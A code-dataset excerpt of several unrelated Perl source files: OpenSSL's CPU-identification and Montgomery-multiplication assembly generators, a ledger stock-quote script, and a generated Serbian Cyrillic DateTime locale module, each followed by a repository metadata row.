# Copyright 2004-2016 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the OpenSSL license (the "License"). You may not use
# this file except in compliance with the License. You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html
$0 =~ m/(.*[\/\\])[^\/\\]+$/; $dir=$1;
push(@INC, "${dir}perlasm", "perlasm");
require "x86asm.pl";
$output = pop;
open OUT,">$output";
*STDOUT=*OUT;
&asm_init($ARGV[0],"x86cpuid");
for (@ARGV) { $sse2=1 if (/-DOPENSSL_IA32_SSE2/); }
&function_begin("OPENSSL_ia32_cpuid");
&xor ("edx","edx");
&pushf ();
&pop ("eax");
&mov ("ecx","eax");
&xor ("eax",1<<21);
&push ("eax");
&popf ();
&pushf ();
&pop ("eax");
&xor ("ecx","eax");
&xor ("eax","eax");
&bt ("ecx",21);
&jnc (&label("nocpuid"));
&mov ("esi",&wparam(0));
&mov (&DWP(8,"esi"),"eax"); # clear 3rd word
&cpuid ();
&mov ("edi","eax"); # max value for standard query level
&xor ("eax","eax");
&cmp ("ebx",0x756e6547); # "Genu"
&setne (&LB("eax"));
&mov ("ebp","eax");
&cmp ("edx",0x49656e69); # "ineI"
&setne (&LB("eax"));
&or ("ebp","eax");
&cmp ("ecx",0x6c65746e); # "ntel"
&setne (&LB("eax"));
&or ("ebp","eax"); # 0 indicates Intel CPU
&jz (&label("intel"));
&cmp ("ebx",0x68747541); # "Auth"
&setne (&LB("eax"));
&mov ("esi","eax");
&cmp ("edx",0x69746E65); # "enti"
&setne (&LB("eax"));
&or ("esi","eax");
&cmp ("ecx",0x444D4163); # "cAMD"
&setne (&LB("eax"));
&or ("esi","eax"); # 0 indicates AMD CPU
&jnz (&label("intel"));
# AMD specific
&mov ("eax",0x80000000);
&cpuid ();
&cmp ("eax",0x80000001);
&jb (&label("intel"));
&mov ("esi","eax");
&mov ("eax",0x80000001);
&cpuid ();
&or ("ebp","ecx");
&and ("ebp",1<<11|1); # isolate XOP bit
&cmp ("esi",0x80000008);
&jb (&label("intel"));
&mov ("eax",0x80000008);
&cpuid ();
&movz ("esi",&LB("ecx")); # number of cores - 1
&inc ("esi"); # number of cores
&mov ("eax",1);
&xor ("ecx","ecx");
&cpuid ();
&bt ("edx",28);
&jnc (&label("generic"));
&shr ("ebx",16);
&and ("ebx",0xff);
&cmp ("ebx","esi");
&ja (&label("generic"));
&and ("edx",0xefffffff); # clear hyper-threading bit
&jmp (&label("generic"));
&set_label("intel");
&cmp ("edi",7);
&jb (&label("cacheinfo"));
&mov ("esi",&wparam(0));
&mov ("eax",7);
&xor ("ecx","ecx");
&cpuid ();
&mov (&DWP(8,"esi"),"ebx");
&set_label("cacheinfo");
&cmp ("edi",4);
&mov ("edi",-1);
&jb (&label("nocacheinfo"));
&mov ("eax",4);
&mov ("ecx",0); # query L1D
&cpuid ();
&mov ("edi","eax");
&shr ("edi",14);
&and ("edi",0xfff); # number of cores -1 per L1D
&set_label("nocacheinfo");
&mov ("eax",1);
&xor ("ecx","ecx");
&cpuid ();
&and ("edx",0xbfefffff); # force reserved bits #20, #30 to 0
&cmp ("ebp",0);
&jne (&label("notintel"));
&or ("edx",1<<30); # set reserved bit#30 on Intel CPUs
&and (&HB("eax"),15); # familiy ID
&cmp (&HB("eax"),15); # P4?
&jne (&label("notintel"));
&or ("edx",1<<20); # set reserved bit#20 to engage RC4_CHAR
&set_label("notintel");
&bt ("edx",28); # test hyper-threading bit
&jnc (&label("generic"));
&and ("edx",0xefffffff);
&cmp ("edi",0);
&je (&label("generic"));
&or ("edx",0x10000000);
&shr ("ebx",16);
&cmp (&LB("ebx"),1);
&ja (&label("generic"));
&and ("edx",0xefffffff); # clear hyper-threading bit if not
&set_label("generic");
&and ("ebp",1<<11); # isolate AMD XOP flag
&and ("ecx",0xfffff7ff); # force 11th bit to 0
&mov ("esi","edx");
&or ("ebp","ecx"); # merge AMD XOP flag
&bt ("ecx",27); # check OSXSAVE bit
&jnc (&label("clear_avx"));
&xor ("ecx","ecx");
&data_byte(0x0f,0x01,0xd0); # xgetbv
&and ("eax",6);
&cmp ("eax",6);
&je (&label("done"));
&cmp ("eax",2);
&je (&label("clear_avx"));
&set_label("clear_xmm");
&and ("ebp",0xfdfffffd); # clear AESNI and PCLMULQDQ bits
&and ("esi",0xfeffffff); # clear FXSR
&set_label("clear_avx");
&and ("ebp",0xefffe7ff); # clear AVX, FMA and AMD XOP bits
&mov ("edi",&wparam(0));
&and (&DWP(8,"edi"),0xffffffdf); # clear AVX2
&set_label("done");
&mov ("eax","esi");
&mov ("edx","ebp");
&set_label("nocpuid");
&function_end("OPENSSL_ia32_cpuid");
&external_label("OPENSSL_ia32cap_P");
&function_begin_B("OPENSSL_rdtsc","EXTRN\t_OPENSSL_ia32cap_P:DWORD");
&xor ("eax","eax");
&xor ("edx","edx");
&picmeup("ecx","OPENSSL_ia32cap_P");
&bt (&DWP(0,"ecx"),4);
&jnc (&label("notsc"));
&rdtsc ();
&set_label("notsc");
&ret ();
&function_end_B("OPENSSL_rdtsc");
# This works in Ring 0 only [read DJGPP+MS-DOS+privileged DPMI host],
# but it's safe to call it on any [supported] 32-bit platform...
# Just check for [non-]zero return value...
&function_begin_B("OPENSSL_instrument_halt","EXTRN\t_OPENSSL_ia32cap_P:DWORD");
&picmeup("ecx","OPENSSL_ia32cap_P");
&bt (&DWP(0,"ecx"),4);
&jnc (&label("nohalt")); # no TSC
&data_word(0x9058900e); # push %cs; pop %eax
&and ("eax",3);
&jnz (&label("nohalt")); # not enough privileges
&pushf ();
&pop ("eax");
&bt ("eax",9);
&jnc (&label("nohalt")); # interrupts are disabled
&rdtsc ();
&push ("edx");
&push ("eax");
&halt ();
&rdtsc ();
&sub ("eax",&DWP(0,"esp"));
&sbb ("edx",&DWP(4,"esp"));
&add ("esp",8);
&ret ();
&set_label("nohalt");
&xor ("eax","eax");
&xor ("edx","edx");
&ret ();
&function_end_B("OPENSSL_instrument_halt");
# Essentially there is only one use for this function. Under DJGPP:
#
# #include <go32.h>
# ...
# i=OPENSSL_far_spin(_dos_ds,0x46c);
# ...
# to obtain the number of spins till closest timer interrupt.
&function_begin_B("OPENSSL_far_spin");
&pushf ();
&pop ("eax");
&bt ("eax",9);
&jnc (&label("nospin")); # interrupts are disabled
&mov ("eax",&DWP(4,"esp"));
&mov ("ecx",&DWP(8,"esp"));
&data_word (0x90d88e1e); # push %ds, mov %eax,%ds
&xor ("eax","eax");
&mov ("edx",&DWP(0,"ecx"));
&jmp (&label("spin"));
&align (16);
&set_label("spin");
&inc ("eax");
&cmp ("edx",&DWP(0,"ecx"));
&je (&label("spin"));
&data_word (0x1f909090); # pop %ds
&ret ();
&set_label("nospin");
&xor ("eax","eax");
&xor ("edx","edx");
&ret ();
&function_end_B("OPENSSL_far_spin");
&function_begin_B("OPENSSL_wipe_cpu","EXTRN\t_OPENSSL_ia32cap_P:DWORD");
&xor ("eax","eax");
&xor ("edx","edx");
&picmeup("ecx","OPENSSL_ia32cap_P");
&mov ("ecx",&DWP(0,"ecx"));
&bt (&DWP(0,"ecx"),1);
&jnc (&label("no_x87"));
if ($sse2) {
&and ("ecx",1<<26|1<<24); # check SSE2 and FXSR bits
&cmp ("ecx",1<<26|1<<24);
&jne (&label("no_sse2"));
&pxor ("xmm0","xmm0");
&pxor ("xmm1","xmm1");
&pxor ("xmm2","xmm2");
&pxor ("xmm3","xmm3");
&pxor ("xmm4","xmm4");
&pxor ("xmm5","xmm5");
&pxor ("xmm6","xmm6");
&pxor ("xmm7","xmm7");
&set_label("no_sse2");
}
# just a bunch of fldz to zap the fp/mm bank followed by finit...
&data_word(0xeed9eed9,0xeed9eed9,0xeed9eed9,0xeed9eed9,0x90e3db9b);
&set_label("no_x87");
&lea ("eax",&DWP(4,"esp"));
&ret ();
&function_end_B("OPENSSL_wipe_cpu");
&function_begin_B("OPENSSL_atomic_add");
&mov ("edx",&DWP(4,"esp")); # fetch the pointer, 1st arg
&mov ("ecx",&DWP(8,"esp")); # fetch the increment, 2nd arg
&push ("ebx");
&nop ();
&mov ("eax",&DWP(0,"edx"));
&set_label("spin");
&lea ("ebx",&DWP(0,"eax","ecx"));
&nop ();
&data_word(0x1ab10ff0); # lock; cmpxchg %ebx,(%edx) # %eax is envolved and is always reloaded
&jne (&label("spin"));
&mov ("eax","ebx"); # OpenSSL expects the new value
&pop ("ebx");
&ret ();
&function_end_B("OPENSSL_atomic_add");
# This function can become handy under Win32 in situations when
# we don't know which calling convention, __stdcall or __cdecl(*),
# indirect callee is using. In C it can be deployed as
#
#ifdef OPENSSL_CPUID_OBJ
# type OPENSSL_indirect_call(void *f,...);
# ...
# OPENSSL_indirect_call(func,[up to $max arguments]);
#endif
#
# (*) it's designed to work even for __fastcall if number of
# arguments is 1 or 2!
&function_begin_B("OPENSSL_indirect_call");
{
my ($max,$i)=(7,); # $max has to be chosen as 4*n-1
# in order to preserve eventual
# stack alignment
&push ("ebp");
&mov ("ebp","esp");
&sub ("esp",$max*4);
&mov ("ecx",&DWP(12,"ebp"));
&mov (&DWP(0,"esp"),"ecx");
&mov ("edx",&DWP(16,"ebp"));
&mov (&DWP(4,"esp"),"edx");
for($i=2;$i<$max;$i++)
{
# Some copies will be redundant/bogus...
&mov ("eax",&DWP(12+$i*4,"ebp"));
&mov (&DWP(0+$i*4,"esp"),"eax");
}
&call_ptr (&DWP(8,"ebp"));# make the call...
&mov ("esp","ebp"); # ... and just restore the stack pointer
# without paying attention to what we called,
# (__cdecl *func) or (__stdcall *one).
&pop ("ebp");
&ret ();
}
&function_end_B("OPENSSL_indirect_call");
&function_begin_B("OPENSSL_cleanse");
&mov ("edx",&wparam(0));
&mov ("ecx",&wparam(1));
&xor ("eax","eax");
&cmp ("ecx",7);
&jae (&label("lot"));
&cmp ("ecx",0);
&je (&label("ret"));
&set_label("little");
&mov (&BP(0,"edx"),"al");
&sub ("ecx",1);
&lea ("edx",&DWP(1,"edx"));
&jnz (&label("little"));
&set_label("ret");
&ret ();
&set_label("lot",16);
&test ("edx",3);
&jz (&label("aligned"));
&mov (&BP(0,"edx"),"al");
&lea ("ecx",&DWP(-1,"ecx"));
&lea ("edx",&DWP(1,"edx"));
&jmp (&label("lot"));
&set_label("aligned");
&mov (&DWP(0,"edx"),"eax");
&lea ("ecx",&DWP(-4,"ecx"));
&test ("ecx",-4);
&lea ("edx",&DWP(4,"edx"));
&jnz (&label("aligned"));
&cmp ("ecx",0);
&jne (&label("little"));
&ret ();
&function_end_B("OPENSSL_cleanse");
&function_begin_B("CRYPTO_memcmp");
&push ("esi");
&push ("edi");
&mov ("esi",&wparam(0));
&mov ("edi",&wparam(1));
&mov ("ecx",&wparam(2));
&xor ("eax","eax");
&xor ("edx","edx");
&cmp ("ecx",0);
&je (&label("no_data"));
&set_label("loop");
&mov ("dl",&BP(0,"esi"));
&lea ("esi",&DWP(1,"esi"));
&xor ("dl",&BP(0,"edi"));
&lea ("edi",&DWP(1,"edi"));
&or ("al","dl");
&dec ("ecx");
&jnz (&label("loop"));
&neg ("eax");
&shr ("eax",31);
&set_label("no_data");
&pop ("edi");
&pop ("esi");
&ret ();
&function_end_B("CRYPTO_memcmp");
{
my $lasttick = "esi";
my $lastdiff = "ebx";
my $out = "edi";
my $cnt = "ecx";
my $max = "ebp";
&function_begin("OPENSSL_instrument_bus");
&mov ("eax",0);
if ($sse2) {
&picmeup("edx","OPENSSL_ia32cap_P");
&bt (&DWP(0,"edx"),4);
&jnc (&label("nogo")); # no TSC
&bt (&DWP(0,"edx"),19);
&jnc (&label("nogo")); # no CLFLUSH
&mov ($out,&wparam(0)); # load arguments
&mov ($cnt,&wparam(1));
# collect 1st tick
&rdtsc ();
&mov ($lasttick,"eax"); # lasttick = tick
&mov ($lastdiff,0); # lastdiff = 0
&clflush(&DWP(0,$out));
&data_byte(0xf0); # lock
&add (&DWP(0,$out),$lastdiff);
&jmp (&label("loop"));
&set_label("loop",16);
&rdtsc ();
&mov ("edx","eax"); # put aside tick (yes, I neglect edx)
&sub ("eax",$lasttick); # diff
&mov ($lasttick,"edx"); # lasttick = tick
&mov ($lastdiff,"eax"); # lastdiff = diff
&clflush(&DWP(0,$out));
&data_byte(0xf0); # lock
&add (&DWP(0,$out),"eax"); # accumulate diff
&lea ($out,&DWP(4,$out)); # ++$out
&sub ($cnt,1); # --$cnt
&jnz (&label("loop"));
&mov ("eax",&wparam(1));
&set_label("nogo");
}
&function_end("OPENSSL_instrument_bus");
&function_begin("OPENSSL_instrument_bus2");
&mov ("eax",0);
if ($sse2) {
&picmeup("edx","OPENSSL_ia32cap_P");
&bt (&DWP(0,"edx"),4);
&jnc (&label("nogo")); # no TSC
&bt (&DWP(0,"edx"),19);
&jnc (&label("nogo")); # no CLFLUSH
&mov ($out,&wparam(0)); # load arguments
&mov ($cnt,&wparam(1));
&mov ($max,&wparam(2));
&rdtsc (); # collect 1st tick
&mov ($lasttick,"eax"); # lasttick = tick
&mov ($lastdiff,0); # lastdiff = 0
&clflush(&DWP(0,$out));
&data_byte(0xf0); # lock
&add (&DWP(0,$out),$lastdiff);
&rdtsc (); # collect 1st diff
&mov ("edx","eax"); # put aside tick (yes, I neglect edx)
&sub ("eax",$lasttick); # diff
&mov ($lasttick,"edx"); # lasttick = tick
&mov ($lastdiff,"eax"); # lastdiff = diff
&jmp (&label("loop2"));
&set_label("loop2",16);
&clflush(&DWP(0,$out));
&data_byte(0xf0); # lock
&add (&DWP(0,$out),"eax"); # accumulate diff
&sub ($max,1);
&jz (&label("done2"));
&rdtsc ();
&mov ("edx","eax"); # put aside tick (yes, I neglect edx)
&sub ("eax",$lasttick); # diff
&mov ($lasttick,"edx"); # lasttick = tick
&cmp ("eax",$lastdiff);
&mov ($lastdiff,"eax"); # lastdiff = diff
&mov ("edx",0);
&setne ("dl");
&sub ($cnt,"edx"); # conditional --$cnt
&lea ($out,&DWP(0,$out,"edx",4)); # conditional ++$out
&jnz (&label("loop2"));
&set_label("done2");
&mov ("eax",&wparam(1));
&sub ("eax",$cnt);
&set_label("nogo");
}
&function_end("OPENSSL_instrument_bus2");
}
sub gen_random {
my $rdop = shift;
&function_begin_B("OPENSSL_ia32_${rdop}");
&mov ("ecx",8);
&set_label("loop");
&${rdop}("eax");
&jc (&label("break"));
&loop (&label("loop"));
&set_label("break");
&cmp ("eax",0);
&cmove ("eax","ecx");
&ret ();
&function_end_B("OPENSSL_ia32_${rdop}");
&function_begin_B("OPENSSL_ia32_${rdop}_bytes");
&push ("edi");
&push ("ebx");
&xor ("eax","eax"); # return value
&mov ("edi",&wparam(0));
&mov ("ebx",&wparam(1));
&cmp ("ebx",0);
&je (&label("done"));
&mov ("ecx",8);
&set_label("loop");
&${rdop}("edx");
&jc (&label("break"));
&loop (&label("loop"));
&jmp (&label("done"));
&set_label("break",16);
&cmp ("ebx",4);
&jb (&label("tail"));
&mov (&DWP(0,"edi"),"edx");
&lea ("edi",&DWP(4,"edi"));
&add ("eax",4);
&sub ("ebx",4);
&jz (&label("done"));
&mov ("ecx",8);
&jmp (&label("loop"));
&set_label("tail",16);
&mov (&BP(0,"edi"),"dl");
&lea ("edi",&DWP(1,"edi"));
&inc ("eax");
&shr ("edx",8);
&dec ("ebx");
&jnz (&label("tail"));
&set_label("done");
&pop ("ebx");
&pop ("edi");
&ret ();
&function_end_B("OPENSSL_ia32_${rdop}_bytes");
}
&gen_random("rdrand");
&gen_random("rdseed");
&initseg("OPENSSL_cpuid_setup");
&hidden("OPENSSL_cpuid_setup");
&hidden("OPENSSL_ia32cap_P");
&asm_finish();
close STDOUT;
| openweave/openweave-core | third_party/openssl/openssl/crypto/x86cpuid.pl | Perl | apache-2.0 | 13,776 |
#!/usr/bin/env perl
$timeout = 60;
use Finance::Quote;
use POSIX qw(strftime localtime time);
$q = Finance::Quote->new;
$q->timeout($timeout);
$q->require_labels(qw/price/);
%quotes = $q->fetch("nasdaq", $ARGV[0]);
if ($quotes{$ARGV[0], "price"}) {
print strftime('%Y/%m/%d %H:%M:%S', localtime(time()));
print " ", $ARGV[0], " ";
print "\$", $quotes{$ARGV[0], "price"}, "\n";
} else {
exit 1;
}
| jwakely/ledger | contrib/getquote.pl | Perl | bsd-3-clause | 416 |
###########################################################################
#
# This file is auto-generated by the Perl DateTime Suite locale
# generator (0.05). This code generator comes with the
# DateTime::Locale distribution in the tools/ directory, and is called
# generate-from-cldr.
#
# This file as generated from the CLDR XML locale data. See the
# LICENSE.cldr file included in this distribution for license details.
#
# This file was generated from the source file sr_Cyrl.xml
# The source file version number was 1.38, generated on
# 2009/05/05 23:06:40.
#
# Do not edit this file directly.
#
###########################################################################
package DateTime::Locale::sr_Cyrl;
use strict;
use warnings;
use utf8;
use base 'DateTime::Locale::sr';
sub cldr_version { return "1\.7\.1" }
{
my $first_day_of_week = "1";
sub first_day_of_week { return $first_day_of_week }
}
1;
__END__
=pod
=encoding utf8
=head1 NAME
DateTime::Locale::sr_Cyrl
=head1 SYNOPSIS
use DateTime;
my $dt = DateTime->now( locale => 'sr_Cyrl' );
print $dt->month_name();
=head1 DESCRIPTION
This is the DateTime locale package for Serbian Cyrillic.
=head1 DATA
This locale inherits from the L<DateTime::Locale::sr> locale.
It contains the following data.
=head2 Days
=head3 Wide (format)
понедељак
уторак
среда
четвртак
петак
субота
недеља
=head3 Abbreviated (format)
пон
уто
сре
чет
пет
суб
нед
=head3 Narrow (format)
п
у
с
ч
п
с
н
=head3 Wide (stand-alone)
понедељак
уторак
среда
четвртак
петак
субота
недеља
=head3 Abbreviated (stand-alone)
пон
уто
сре
чет
пет
суб
нед
=head3 Narrow (stand-alone)
п
у
с
ч
п
с
н
=head2 Months
=head3 Wide (format)
јануар
фебруар
март
април
мај
јун
јул
август
септембар
октобар
новембар
децембар
=head3 Abbreviated (format)
јан
феб
мар
апр
мај
јун
јул
авг
сеп
окт
нов
дец
=head3 Narrow (format)
ј
ф
м
а
м
ј
ј
а
с
о
н
д
=head3 Wide (stand-alone)
јануар
фебруар
март
април
мај
јун
јул
август
септембар
октобар
новембар
децембар
=head3 Abbreviated (stand-alone)
јан
феб
мар
апр
мај
јун
јул
авг
сеп
окт
нов
дец
=head3 Narrow (stand-alone)
ј
ф
м
а
м
ј
ј
а
с
о
н
д
=head2 Quarters
=head3 Wide (format)
Прво тромесечје
Друго тромесечје
Треће тромесечје
Четврто тромесечје
=head3 Abbreviated (format)
К1
К2
К3
К4
=head3 Narrow (format)
1
2
3
4
=head3 Wide (stand-alone)
Прво тромесечје
Друго тромесечје
Треће тромесечје
Четврто тромесечје
=head3 Abbreviated (stand-alone)
К1
К2
К3
К4
=head3 Narrow (stand-alone)
1
2
3
4
=head2 Eras
=head3 Wide
Пре нове ере
Нове ере
=head3 Abbreviated
п. н. е.
н. е
=head3 Narrow
п.н.е.
н.е.
=head2 Date Formats
=head3 Full
2008-02-05T18:30:30 = уторак, 05. фебруар 2008.
1995-12-22T09:05:02 = петак, 22. децембар 1995.
-0010-09-15T04:44:23 = субота, 15. септембар -10.
=head3 Long
2008-02-05T18:30:30 = 05. фебруар 2008.
1995-12-22T09:05:02 = 22. децембар 1995.
-0010-09-15T04:44:23 = 15. септембар -10.
=head3 Medium
2008-02-05T18:30:30 = 05.02.2008.
1995-12-22T09:05:02 = 22.12.1995.
-0010-09-15T04:44:23 = 15.09.-10.
=head3 Short
2008-02-05T18:30:30 = 5.2.08.
1995-12-22T09:05:02 = 22.12.95.
-0010-09-15T04:44:23 = 15.9.-10.
=head3 Default
2008-02-05T18:30:30 = 05.02.2008.
1995-12-22T09:05:02 = 22.12.1995.
-0010-09-15T04:44:23 = 15.09.-10.
=head2 Time Formats
=head3 Full
2008-02-05T18:30:30 = 18.30.30 UTC
1995-12-22T09:05:02 = 09.05.02 UTC
-0010-09-15T04:44:23 = 04.44.23 UTC
=head3 Long
2008-02-05T18:30:30 = 18.30.30 UTC
1995-12-22T09:05:02 = 09.05.02 UTC
-0010-09-15T04:44:23 = 04.44.23 UTC
=head3 Medium
2008-02-05T18:30:30 = 18.30.30
1995-12-22T09:05:02 = 09.05.02
-0010-09-15T04:44:23 = 04.44.23
=head3 Short
2008-02-05T18:30:30 = 18.30
1995-12-22T09:05:02 = 09.05
-0010-09-15T04:44:23 = 04.44
=head3 Default
2008-02-05T18:30:30 = 18.30.30
1995-12-22T09:05:02 = 09.05.02
-0010-09-15T04:44:23 = 04.44.23
=head2 Datetime Formats
=head3 Full
2008-02-05T18:30:30 = уторак, 05. фебруар 2008. 18.30.30 UTC
1995-12-22T09:05:02 = петак, 22. децембар 1995. 09.05.02 UTC
-0010-09-15T04:44:23 = субота, 15. септембар -10. 04.44.23 UTC
=head3 Long
2008-02-05T18:30:30 = 05. фебруар 2008. 18.30.30 UTC
1995-12-22T09:05:02 = 22. децембар 1995. 09.05.02 UTC
-0010-09-15T04:44:23 = 15. септембар -10. 04.44.23 UTC
=head3 Medium
2008-02-05T18:30:30 = 05.02.2008. 18.30.30
1995-12-22T09:05:02 = 22.12.1995. 09.05.02
-0010-09-15T04:44:23 = 15.09.-10. 04.44.23
=head3 Short
2008-02-05T18:30:30 = 5.2.08. 18.30
1995-12-22T09:05:02 = 22.12.95. 09.05
-0010-09-15T04:44:23 = 15.9.-10. 04.44
=head3 Default
2008-02-05T18:30:30 = 05.02.2008. 18.30.30
1995-12-22T09:05:02 = 22.12.1995. 09.05.02
-0010-09-15T04:44:23 = 15.09.-10. 04.44.23
=head2 Available Formats
=head3 d (d)
2008-02-05T18:30:30 = 5
1995-12-22T09:05:02 = 22
-0010-09-15T04:44:23 = 15
=head3 Ed (E d.)
2008-02-05T18:30:30 = уто 5.
1995-12-22T09:05:02 = пет 22.
-0010-09-15T04:44:23 = суб 15.
=head3 EEEd (d. EEE)
2008-02-05T18:30:30 = 5. уто
1995-12-22T09:05:02 = 22. пет
-0010-09-15T04:44:23 = 15. суб
=head3 hhmm (hh.mm a)
2008-02-05T18:30:30 = 06.30 поподне
1995-12-22T09:05:02 = 09.05 пре подне
-0010-09-15T04:44:23 = 04.44 пре подне
=head3 hhmmss (hh.mm.ss a)
2008-02-05T18:30:30 = 06.30.30 поподне
1995-12-22T09:05:02 = 09.05.02 пре подне
-0010-09-15T04:44:23 = 04.44.23 пре подне
=head3 Hm (HH.mm)
2008-02-05T18:30:30 = 18.30
1995-12-22T09:05:02 = 09.05
-0010-09-15T04:44:23 = 04.44
=head3 hm (h:mm a)
2008-02-05T18:30:30 = 6:30 поподне
1995-12-22T09:05:02 = 9:05 пре подне
-0010-09-15T04:44:23 = 4:44 пре подне
=head3 Hms (H:mm:ss)
2008-02-05T18:30:30 = 18:30:30
1995-12-22T09:05:02 = 9:05:02
-0010-09-15T04:44:23 = 4:44:23
=head3 hms (h:mm:ss a)
2008-02-05T18:30:30 = 6:30:30 поподне
1995-12-22T09:05:02 = 9:05:02 пре подне
-0010-09-15T04:44:23 = 4:44:23 пре подне
=head3 M (L)
2008-02-05T18:30:30 = 2
1995-12-22T09:05:02 = 12
-0010-09-15T04:44:23 = 9
=head3 Md (d/M)
2008-02-05T18:30:30 = 5/2
1995-12-22T09:05:02 = 22/12
-0010-09-15T04:44:23 = 15/9
=head3 MEd (E, M-d)
2008-02-05T18:30:30 = уто, 2-5
1995-12-22T09:05:02 = пет, 12-22
-0010-09-15T04:44:23 = суб, 9-15
=head3 MMdd (MM-dd)
2008-02-05T18:30:30 = 02-05
1995-12-22T09:05:02 = 12-22
-0010-09-15T04:44:23 = 09-15
=head3 MMM (LLL)
2008-02-05T18:30:30 = феб
1995-12-22T09:05:02 = дец
-0010-09-15T04:44:23 = сеп
=head3 MMMd (MMM d.)
2008-02-05T18:30:30 = феб 5.
1995-12-22T09:05:02 = дец 22.
-0010-09-15T04:44:23 = сеп 15.
=head3 MMMdd (dd.MMM)
2008-02-05T18:30:30 = 05.феб
1995-12-22T09:05:02 = 22.дец
-0010-09-15T04:44:23 = 15.сеп
=head3 MMMEd (E d. MMM)
2008-02-05T18:30:30 = уто 5. феб
1995-12-22T09:05:02 = пет 22. дец
-0010-09-15T04:44:23 = суб 15. сеп
=head3 MMMMd (MMMM d.)
2008-02-05T18:30:30 = фебруар 5.
1995-12-22T09:05:02 = децембар 22.
-0010-09-15T04:44:23 = септембар 15.
=head3 MMMMdd (dd. MMMM)
2008-02-05T18:30:30 = 05. фебруар
1995-12-22T09:05:02 = 22. децембар
-0010-09-15T04:44:23 = 15. септембар
=head3 MMMMEd (E MMMM d)
2008-02-05T18:30:30 = уто фебруар 5
1995-12-22T09:05:02 = пет децембар 22
-0010-09-15T04:44:23 = суб септембар 15
=head3 ms (mm:ss)
2008-02-05T18:30:30 = 30:30
1995-12-22T09:05:02 = 05:02
-0010-09-15T04:44:23 = 44:23
=head3 y (y.)
2008-02-05T18:30:30 = 2008.
1995-12-22T09:05:02 = 1995.
-0010-09-15T04:44:23 = -10.
=head3 yM (y-M)
2008-02-05T18:30:30 = 2008-2
1995-12-22T09:05:02 = 1995-12
-0010-09-15T04:44:23 = -10-9
=head3 yMEd (EEE, d. M. yyyy.)
2008-02-05T18:30:30 = уто, 5. 2. 2008.
1995-12-22T09:05:02 = пет, 22. 12. 1995.
-0010-09-15T04:44:23 = суб, 15. 9. -010.
=head3 yMMM (MMM. y)
2008-02-05T18:30:30 = феб. 2008
1995-12-22T09:05:02 = дец. 1995
-0010-09-15T04:44:23 = сеп. -10
=head3 yMMMEd (EEE, d. MMM y.)
2008-02-05T18:30:30 = уто, 5. феб 2008.
1995-12-22T09:05:02 = пет, 22. дец 1995.
-0010-09-15T04:44:23 = суб, 15. сеп -10.
=head3 yMMMM (y MMMM)
2008-02-05T18:30:30 = 2008 фебруар
1995-12-22T09:05:02 = 1995 децембар
-0010-09-15T04:44:23 = -10 септембар
=head3 yQ (y Q)
2008-02-05T18:30:30 = 2008 1
1995-12-22T09:05:02 = 1995 4
-0010-09-15T04:44:23 = -10 3
=head3 yQQQ (QQQ. y)
2008-02-05T18:30:30 = К1. 2008
1995-12-22T09:05:02 = К4. 1995
-0010-09-15T04:44:23 = К3. -10
=head3 yyMM (MM.yy)
2008-02-05T18:30:30 = 02.08
1995-12-22T09:05:02 = 12.95
-0010-09-15T04:44:23 = 09.-10
=head3 yyMMdd (dd.MM.yy)
2008-02-05T18:30:30 = 05.02.08
1995-12-22T09:05:02 = 22.12.95
-0010-09-15T04:44:23 = 15.09.-10
=head3 yyMMMd (d. MMM yy.)
2008-02-05T18:30:30 = 5. феб 08.
1995-12-22T09:05:02 = 22. дец 95.
-0010-09-15T04:44:23 = 15. сеп -10.
=head3 yyQ (Q yy)
2008-02-05T18:30:30 = 1 08
1995-12-22T09:05:02 = 4 95
-0010-09-15T04:44:23 = 3 -10
=head3 yyQQQQ (QQQQ yy)
2008-02-05T18:30:30 = Прво тромесечје 08
1995-12-22T09:05:02 = Четврто тромесечје 95
-0010-09-15T04:44:23 = Треће тромесечје -10
=head3 yyyy (y.)
2008-02-05T18:30:30 = 2008.
1995-12-22T09:05:02 = 1995.
-0010-09-15T04:44:23 = -10.
=head3 yyyyMM (yyyy-MM)
2008-02-05T18:30:30 = 2008-02
1995-12-22T09:05:02 = 1995-12
-0010-09-15T04:44:23 = -010-09
=head3 yyyyMMMM (MMMM y.)
2008-02-05T18:30:30 = фебруар 2008.
1995-12-22T09:05:02 = децембар 1995.
-0010-09-15T04:44:23 = септембар -10.
=head2 Miscellaneous
=head3 Prefers 24 hour time?
Yes
=head3 Local first day of the week
понедељак
=head1 SUPPORT
See L<DateTime::Locale>.
=head1 AUTHOR
Dave Rolsky <autarch@urth.org>
=head1 COPYRIGHT
Copyright (c) 2008 David Rolsky. All rights reserved. This program is
free software; you can redistribute it and/or modify it under the same
terms as Perl itself.
This module was generated from data provided by the CLDR project, see
the LICENSE.cldr in this distribution for details on the CLDR data's
license.
=cut
| Dokaponteam/ITF_Project | xampp/perl/vendor/lib/DateTime/Locale/sr_Cyrl.pm | Perl | mit | 11,466 |
#!/usr/bin/env perl
# ====================================================================
# Written by Andy Polyakov <appro@openssl.org> for the OpenSSL
# project. The module is, however, dual licensed under OpenSSL and
# CRYPTOGAMS licenses depending on where you obtain it. For further
# details see http://www.openssl.org/~appro/cryptogams/.
# ====================================================================
# August 2011.
#
# Companion to x86_64-mont.pl that optimizes cache-timing attack
# countermeasures. The subroutines are produced by replacing bp[i]
# references in their x86_64-mont.pl counterparts with cache-neutral
# references to powers table computed in BN_mod_exp_mont_consttime.
# In addition subroutine that scatters elements of the powers table
# is implemented, so that scatter-/gathering can be tuned without
# bn_exp.c modifications.
# August 2013.
#
# Add MULX/AD*X code paths and additional interfaces to optimize for
# branch prediction unit. For input lengths that are multiples of 8
# the np argument is not just modulus value, but one interleaved
# with 0. This is to optimize post-condition...
$flavour = shift;
$output = shift;
if ($flavour =~ /\./) { $output = $flavour; undef $flavour; }
$win64=0; $win64=1 if ($flavour =~ /[nm]asm|mingw64/ || $output =~ /\.asm$/);
$0 =~ m/(.*[\/\\])[^\/\\]+$/; $dir=$1;
( $xlate="${dir}x86_64-xlate.pl" and -f $xlate ) or
( $xlate="${dir}../../perlasm/x86_64-xlate.pl" and -f $xlate) or
die "can't locate x86_64-xlate.pl";
open OUT,"| \"$^X\" $xlate $flavour $output";
*STDOUT=*OUT;
if (`$ENV{CC} -Wa,-v -c -o /dev/null -x assembler /dev/null 2>&1`
=~ /GNU assembler version ([2-9]\.[0-9]+)/) {
$addx = ($1>=2.23);
}
if (!$addx && $win64 && ($flavour =~ /nasm/ || $ENV{ASM} =~ /nasm/) &&
`nasm -v 2>&1` =~ /NASM version ([2-9]\.[0-9]+)/) {
$addx = ($1>=2.10);
}
